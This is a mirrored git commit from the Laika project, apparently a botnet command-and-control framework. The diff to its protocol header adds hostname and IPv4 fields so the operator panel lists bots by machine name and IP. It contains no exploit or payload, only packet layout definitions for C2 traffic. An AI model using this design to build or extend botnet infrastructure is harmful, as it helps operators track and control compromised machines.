1
0
mirror of https://github.com/CPunch/Laika.git synced 2025-12-16 12:30:06 +00:00

Added hostname, ip info to handshake

- Panel now lists bots by hostname & ip instead of public key
This commit is contained in:
2022-02-15 16:57:21 -06:00
parent fb71dfb3c3
commit c21be8dfee
12 changed files with 91 additions and 19 deletions

View File

@@ -6,6 +6,9 @@
#define LAIKA_MAX_PKTSIZE 4096
#define LAIKA_HOSTNAME_LEN 64
#define LAIKA_IPV4_LEN 16
/* NONCE: randomly generated uint8_t[LAIKA_NONCESIZE] */
/* first handshake between peer & cnc works as so:
@@ -22,6 +25,8 @@ enum {
* uint8_t majorVer;
* uint8_t minorVer;
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- freshly generated pubKey to encrypt decrypted nonce with
* char hostname[LAIKA_HOSTNAME_LEN];
* char ipv4[LAIKA_IPV4_LEN];
*/
LAIKAPKT_HANDSHAKE_RES,
/* layout of LAIKAPKT_HANDSHAKE_RES:
@@ -34,8 +39,9 @@ enum {
LAIKAPKT_AUTHENTICATED_ADD_PEER, /* notification that a peer has connected to the cnc */
/* layout of LAIKAPKT_AUTHENTICATED_ADD_PEER
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
* char hostname[LAIKA_HOSTNAME_LEN];
* char ipv4[LAIKA_IPV4_LEN];
* uint8_t peerType;
* -- reserved info later (machine info including hostname, OS, machineType, ip, etc.)
*/
LAIKAPKT_AUTHENTICATED_RMV_PEER, /* notification that a peer has disconnected from the cnc */
/* layout of LAIKAPKT_AUTHENTICATED_RMV_PEER